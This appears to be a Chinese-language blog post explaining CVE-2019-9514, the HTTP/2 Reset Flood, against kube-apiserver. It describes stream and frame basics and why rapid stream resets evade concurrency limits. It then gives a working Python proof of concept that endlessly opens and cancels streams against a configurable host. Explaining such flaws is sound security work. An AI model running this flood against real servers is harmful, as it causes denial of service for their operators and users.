CVE-2019-9514 :Reset Flood

前置知识

HTTP/2 用 RST_STREAM 帧表示"放弃某个流"。服务器收到 RST_STREAM 要执行关闭流的清理逻辑(释放流状态、处理错误路径),这是有成本的。而协议靠 SETTINGS_MAX_CONCURRENT_STREAMS 限制同时存活的流数量来防滥用——但它只统计"存活"的流

  • 连接(connection):一条 TCP 连接,客户端和服务器之间的"物理管道"。
  • 流(stream):管道里的一条双向通道,承载一次完整的"请求 → 响应"。
  • 帧(frame):真正的数据包。每个帧都带着流 ID,多个流的帧在连接上交错混排传输,接收方按 ID 把属于同一个流的帧重新拼起来——这就是图①里不同颜色的色块交错的原因,也就是 HTTP/2 的多路复用

漏洞原理

攻击者循环执行"开一个新流 → 立刻发 RST_STREAM 关掉"。由于流瞬间就被重置,"并发存活流数"始终很低,限流参数形同虚设;但每开一个流、每处理一次 reset,服务器都要走一遍状态机分配/清理。高频循环下,CPU 被大量无效的流生命周期操作占满,kube-apiserver 响应变慢直至拒绝服务。本质是:用协议允许的"合法但昂贵"操作,绕过并发上限,消耗服务器资源

POC

# pip install h2
import socket, ssl
import h2.connection, h2.config

HOST = "127.0.0.1"   # 目标 kube-apiserver
PORT = 6443

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
tls = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=5),
                      server_hostname=HOST)

conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
tls.sendall(conn.data_to_send())

sid = 1
try:
    while True:
        # 开一个新流
        conn.send_headers(sid, [(':method', 'GET'), (':path', '/api'),
                                (':scheme', 'https'), (':authority', HOST)])
        # 立刻 RST_STREAM 重置(0x8 = CANCEL)
        conn.reset_stream(sid, error_code=0x8)
        tls.sendall(conn.data_to_send())
        sid += 2                        # 客户端流 ID 必须是奇数,递增
        data = tls.recv(65535)          # 顺手收 GOAWAY/事件,保持连接
        if data:
            for _ in conn.receive_data(data):
                pass
except KeyboardInterrupt:
    pass

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览